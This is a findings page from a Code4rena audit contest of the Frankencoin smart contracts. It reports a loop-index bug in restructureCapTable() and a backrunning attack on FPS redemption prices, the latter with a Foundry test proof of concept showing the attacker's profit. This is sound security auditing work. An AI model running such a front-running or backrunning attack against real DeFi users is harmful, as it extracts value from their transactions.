Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 50/199
Findings: 3
Award: $115.78
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: decade
Also found by: 0x3b, 0xDACA, 0xWaitress, 0xWeiss, 0xkaju, Arz, Aymen0909, BPZ, EloiManuel, HaCk0, J4de, Jerry0x, Jiamin, John, Juntao, Kek, Lalanda, MiloTruck, Mukund, PNS, RedTiger, Ruhum, Satyam_Sharma, ToonVH, Tricko, Udsen, ak1, anodaram, bin2chen, carrotsmuggler, cccz, circlelooper, deadrxsezzz, giovannidisiena, jasonxiale, joestakey, juancito, karanctf, kenta, kodyvim, ladboy233, lil_eth, lukino, markus_ether, marwen, mrpathfindr, nobody2018, parlayan_yildizlar_takimi, peakbolt, ravikiranweb3, rbserver, rvierdiiev, silviaxyz, volodya, zhuXKET, zzebra83
0.0748 USDC - $0.07
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L313
In restructureCapTable() in Equity.sol current is always set to addressesToWipe[0]
instead of addressesToWipe[i]
. As a result only the first address of addressesToWipe will have its FPS burned, all the others will remain intact.
Manual review
Change addressesToWipe[0]
to addressesToWipe[i]
#0 - c4-pre-sort
2023-04-20T14:24:51Z
0xA5DF marked the issue as duplicate of #941
#1 - c4-judge
2023-05-18T14:29:17Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: cccz
Also found by: DishWasher, KIntern_NA, SolidityATL, ToonVH, giovannidisiena, joestakey, santipu_
93.1122 USDC - $93.11
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L290-L296 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L266-L269
An attacker who holds FPS can backrun a user's transaction that invests in FPS to increase the price at which he redeems his FPS. This is because the user's tx will cause the equity to rise, and thus the FPS redeem price is higher.
A large constraint on this attack is that the attacker must hold his FPS for 90 days to reach the MIN_HOLDING_DURATION before being allowed to redeem.
This works for every transaction that increases the equity: investments into FPS, opening positions, suggesting minters...
Similarly this can be done in reverse for transactions that decrease equity. In comparison to the original attack, this causes a direct loss for the user (since he receives less ZCHF for his FPS)
Place this in GeneralTest.t.sol
function test_sandwich() public { // init the system Equity equity = Equity(address(zchf.reserve())); initPosition(); alice.obtainFrankencoins(swap, 1500 ether); alice.invest(1500 ether); // attacker invests in FPS bob.obtainFrankencoins(swap, 2000 ether); bob.invest(2000 ether); uint256 fps = equity.balanceOf(address(bob)); // 100 days pass vm.roll(block.number + (100*7200)); // move blocknr 100 days forward // user performs tx that increases equity alice.obtainFrankencoins(swap, 2000 ether); alice.invest(2000 ether); //initPosition(); //Instead of an invest() tx, initPosition txs are also vulnerable // attacker redeems his FPS at higher price. vm.prank(address(bob)); equity.redeem(address(bob), fps); console.log(zchf.balanceOf(address(bob))); // attacker gets back 2611 ZCHF }
Manual review, Foundry for PoC
#0 - c4-pre-sort
2023-04-27T17:45:18Z
0xA5DF marked the issue as duplicate of #396
#1 - c4-judge
2023-05-18T05:21:44Z
hansfriese marked the issue as duplicate of #396
#2 - c4-judge
2023-05-18T13:38:15Z
hansfriese marked the issue as satisfactory